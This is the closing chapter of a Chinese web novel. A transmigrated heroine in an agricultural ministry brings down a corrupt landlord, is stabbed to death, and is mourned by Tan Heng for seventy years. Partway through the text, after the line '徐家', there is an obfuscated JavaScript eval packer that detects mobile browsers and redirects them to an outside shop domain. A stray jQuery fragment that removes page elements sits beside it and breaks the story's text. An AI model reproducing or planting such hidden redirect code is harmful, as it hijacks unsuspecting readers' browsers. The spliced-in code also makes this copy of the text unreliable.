第二日,两人一同出了门。
谈珩仍要上朝。
一身墨青官服,公子世无双。
绛宜要去做她一直以来的目标,状告刘有财和徐家。
司农寺的大家听说此事,对绛宜说:“我们都支持小薛大人!”
随即又灰头土脸地埋进地里研究红薯到底该怎么长。
“哎呀!钟盛!你看你农肥浇到哪里来了?”
“唉,怎么不是你随便不小心。”
几人开始吵吵闹闹,看得绛宜一笑,她咳嗽了两声:“你们都给我我记住了嗷,发芽了的红薯按节给剪了,栽在地里。”
“当然!我们迟早要六石的粮食变成六十石!”
“以后还要劳烦小薛大人多教我们呀!”
绛宜只轻轻说道:“可不能什么时候都我教你们呀。”
顾慎在一旁任劳任怨地劳作,绛宜突然叫他:“顾慎,你过来一下。”
从田地里抬头,顾慎表情有些疑惑:“什么事?”
“你过来便知。”绛宜带他到了一个角落,“顾慎,我知道你一直都是司农寺的二把手,因为我的到来给了你压力,可现在,我希望你抛去那些隔阂,好好帮助谈珩,壮大司农寺。”
顾慎的表情本吊儿郎当,听到绛宜郑重的语气,他表情一变:“你这么说,未免也太自信了吧。”
“是吗?”绛宜微微一笑,“那天你让谈珩跟踪我,不是吗?”
顾慎脸色一沉:“你都知道了?”
“我不仅知道,还知道你对那汪莲藕池早有打算。”绛宜声音冷了下来,“你若只是想以你自己名义去分发给百姓便也就罢了,如果你想的是私吞己有……”
顾慎忍不住打断了她话:“什么私吞己有,你在司农寺几天,而我在司农寺多久,你以为唯利是图的人会来司农寺吗?”
他音量陡然提高,脸也涨红着,像是气也喘不过来。
“好。”绛宜突然出声,“你别忘记你的话。”
她声音郑重,朝顾慎鞠了一躬:“如果可以,请你一定要让莲藕真的送到百姓手里。”
.
绛宜又去见了秋月,秋月从倚香院出来以后,就和那些流浪孩子们一起待在了谈家的慈幼局。
“秋月……”绛宜微笑着上前,秋月正在和孩子们一起学识字。
“绛宜?”秋月从书本中抬起头,看着微笑着绛宜的脸,心里涌上一层歉疚:“对不起,上次我不该说那些伤人的话……”
绛宜摇了摇头:“我理解你,我今日来找你,是为了一件重要的事。”
“刘有财今日行刑,你来看吗?”
“还有徐家,在朝堂上已经被弹劾,哼,不过还需一段时日,但刘有财却没这个好运。”
听到那个地主被行刑,秋月手一顿,有些不可思议。
绛宜朝她伸出手:“走吧。”
.
牢房。
吟娘从浑身禁锢里解脱,她被衙役押着往外走。
即使是沦落到这个境地,也仍能看出她昔日风姿。
吟娘双目灰败,直至要上犹车,从一旁窜出来个男子,正是古霖,他双目猩红,带着一把刀就要上来乱砍:“吟娘快走!”
“够了!”吟娘突然出声。
古霖被官兵们很快押住。
吟娘目光仍旧冷淡,像是在看一个无关紧要的人。
“我从来没爱过你。”
“为什么……”
吟娘目光柔和下来:“我已经有刘郎了。”
古霖几乎是咬牙切齿:“为什么!他不过一个糟老头!”
“住嘴!”吟娘突然大声道,“你懂什么,你们都想脱我衣服,只有他给我穿衣服,三千银子的赎身费,他替我出了,你呢,你只会说以后!你们什么都不明白——”
见她状似疯癫,衙役们赶紧把她押上车。
臭鸡蛋菜叶子朝她再来,她不管,也没有回头看目呲欲裂的古霖一眼。
“刘郎啊刘郎,我这就来陪你。”
.
绛宜带秋月来到菜市口,无数佃农围在这里,看刽子手手气刀落,人群中爆发一阵欢呼!
“好!再也没有了这坏老爷了!”
“以后是不是有饭吃了?”
有小女孩牵着妈妈的衣服问。
“对。”妈妈摸了摸她的头。
绛宜和秋月沉默着看这一切。
【检测到宿主任务彻底完成,是否选择脱离本世界】
系统的声音又一次响起,绛宜的手抓紧,又放松,抓紧,又放松。
她突然拉住秋月,小声地说道:“你认出来了是不是,你认出来了,我不是薛绛宜。”
秋月骤然听绛宜这一问,也惊大了眼睛,她看着绛宜此时的眼睛,竟然不敢回话。
可那个会编花环的女孩儿沉默寡言,可怜细心。
可现在的绛宜,救了大家。
秋月不知道怎么选,她只好说:“没有关系。”
绛宜一下子松了力气。
没有关系,就是可以忽略,
可怎么能忽略呢?
这是别人的人生,不是她的,她有自己的人生。
谈珩,对不起。
绛宜闭上眼,在系统按键里点了是。
三。
二。
一。
什么事情都没有发生。
绛宜睁开眼睛,不知道该喜悦还是该生气,她正五味陈杂之际,人群中一道青绿色的身影朝她扑来。
她这次毫无准备,就被那人影按在地上,随后,绛宜望向心脏,那里有一把尖刀。
眼前的女子正是徐眉,她双目通红,状似疯癫,虽然不能说话,可看到一抹鲜血从绛宜口中吐出,她还是哑着嗓子笑了起来,像破旧的老风箱。
绛宜盯着心口的血,一时没了反应。
“绛宜!绛宜!”秋月反应过来,扑在她旁边,几乎是嘶吼,“来人救人啊!”
徐眉发疯被官兵及时制止,绛宜倒在冰冷的地上,周围人自觉散开。
“快来人啊——”秋月已经泣不成声。
绛宜现在连痛都感觉不到了。
【系统已为宿主减轻痛觉,稍待几分钟,便可脱离世界。】
绛宜扭动着手指,眼前一片黑暗。
直到有人闯入人群的包围圈,将她横打抱起。
她听见那人说:“宜宜,宜宜你不要睡。”
好,我不睡。
绛宜朦胧着意识,她感觉那人抱得她好紧。
别抱这么紧,好痛哦。
那人在她耳畔说:“司农寺大家都很认真,红薯已经快发芽了,宜宜,你不要睡,你不想看它发芽吗?”
想。
很想。
“徐家已经被弹劾了,你还没看到他们彻底倒台的那一天呢……”
绛宜不知道是谁在抱着他,她只好说:“你不要抱我。”
那人听她这么说,却缩紧了手臂。
“你不能抱我。”绛宜已经慢慢意识糊涂,为什么不能抱她呢?谈大人,谈大人还没抱过。
她固执道:“你不能抱我。”
那人只紧紧搂着她不说话。
“冷……”绛宜意识不清了,即使被抱在怀中,“冷……”
那人将所有衣物批在她身上,轻声说:“不冷了……”
意识弥留的最后一刻,绛宜动了动唇,想要说些什么。
谈珩看着她苍白的脸,和毫无血色的嘴唇,凑过去倾听,绛宜的嘴唇微张,她说:“妈妈……”
“我冷……”
谈珩抱住她,听着女子生命最后的呓语。
“妈妈……”
没有声音了。
谈珩脚步一顿,怀中女子本穿着一身白衣,此刻被从心口涌出的鲜血染红大半,他听不到声音了。
谈珩颤抖着弯腰,靠在她的心口。
没有跳动了。
他嘴唇动了动,终究什么都没说,只是固执地贴在绛宜的心口,想要听到些什么。
可是没有。
怎么会没有呢。
谈珩双目布满血丝。
秋月匆匆从后面赶来,看到谈珩的反应,“扑通”一下跪到地上,她爬到绛宜身边,小心翼翼地抬起手,去描摹绛宜的脸。
她喃喃道:“早知道,我就不听绛宜的,把她留在慈幼局了。”
“早知道,我就缠着她离开,给她讲以前我和她的故事。”
“宜宜冷了。”
谈珩突然出声,他抱着绛宜:“她的确冷了,我要给她穿衣服。”
秋月的哭声截住,她看向谈珩,最终是一阵绝望。
谈珩疯了。
.
徐家
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729403|143542||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
倒台最终是在十二月。
以谋逆之罪,直系抄斩,旁系流放。
绛宜被葬在同母亲一处。
而谈珩,他疯癫一阵子之后总算恢复正常
他按部就班的上朝,批公文,带领司农寺的众人种红薯。
没有一个人再提起薛绛宜。
他们都以为,谈珩已经走出了伤痛。
谈珩上次晕倒以后,再次醒来,就已经把绛宜忘了。
他不记得那个眸子里有细碎的光的女孩,仍旧是清冷出尘的谈大人。
只是偶尔,他会盯住某一处发呆,只觉得像自己忘记了什么。
谈家见长孙恢复正常,也很高兴。
只有他的父亲,不像以前那样冷漠,而是拍了拍他的肩:“你小子好运。”
谈珩想,自从自己入司农寺,一路顺风顺水,确实是好运吧。
朝廷有意授予他司农卿的荣誉。
谈珩不在乎,他心里只有一个想法,就是解决国家的荒灾。
第二年春。
听司农寺研究的众人说,红薯已经能够发芽了。
谈珩被请去查看。
他觉得没什么好看的,看到那些翠绿的枝丫,他说:“发的芽按节剪了……”
他盯着那些随风摇曳的小枝丫,没由来的说:“绛宜还真是对的,红薯真的种出来了。”
众人本来好像是笑着的,见他说出这话,一个个都敛了神色。
他这才惊觉,自己好像叫了一个名字?
什么样的名字呢?
仿佛一瞬,谈珩被定在了原地,流水般的记忆从深处涌出。
“田里颗粒无收,刘老爷疯涨田租,强逼孤女做妾,不知少卿大人坐视不理,好戏品得如何?”
“下官受大人所邀来到司农寺,便只把自己当成一名为民之官,希望大人对我,只当成是一名可以听取建议的下属,而不会因旁的身份便对下官有别的意见。”
“……”
“你不要抱我……”
“妈妈……”
回忆的开始,是一位穿着绛红色衣裙,笑得夺目明艳的女子。
回忆的最后,是白衣被鲜血染红的绛宜。
一阵心痛从谈珩胸腔里传出,他仿佛游魂,又仿佛刚梦醒。
“宜宜,你冷吗?”
.
谈珩成婚了。
他抱着绛宜的灵牌,任由谈家打骂三天三夜,也绝不松口。
他那一向严厉地父亲几乎是嘶吼道:“为什么你要抱着一个牌位结婚!”
“父亲……不应该理解我吗?”
绛宜一届孤女,走的时候什么都没留下。
他怕自己忘记了绛宜,也存了些自私的念头,想要娶她为妻。
对不起啊,就这么不顾你的意愿,想和你在一起。
谈珩经常去看绛宜的墓碑。
第一年,他带来了一颗红薯。
“司农寺已经研究出来了,我上奏给朝廷,让陛下封你为司农卿,你才是真正的功臣。”
他在这里枯坐一天一夜,然后离开。
第二年,他带来了一些新鲜的莲藕。
“你发现的莲藕池产量极高,陛下已着令全国推广,宜宜我给你煮莲藕排骨汤。”
谈珩将莲藕排骨汤洒在墓碑的土地前。
第三年,谈珩带来了个头更大的红薯。
“红薯的产量提升了,已经从六石烦了三十石,相信很快,就能达成你说的六十石。”
第四年,他这次怀揣着满身怨气而来。
“宜宜,你在怨我吗?怨我逼你嫁给我,怨一个你不喜欢的人拥抱了你……”
他语气颓然:“不然,你怎么会从来不肯到我梦中……”
第五年,这次,他带了又甜又香的烤红薯。
“宜宜,红薯已经能产六十石,昭国再也不会饥饿了。”
“我不怨你了,你能否入我的能来见我一眼?”
……
第七十年。
谈珩拄着拐杖,慢慢踱步上了山,他牙齿掉光了,说不出任何话来,他只慢悠悠地擦拭着墓碑。
然后,浑浊的眼睛找到了墓碑上刻着的名字,俯身吻了下去。
次年,谈珩寿终离世,埋在薛绛宜旁边。
墓碑上刻:“司农卿薛绛宜之夫。”
(全文完)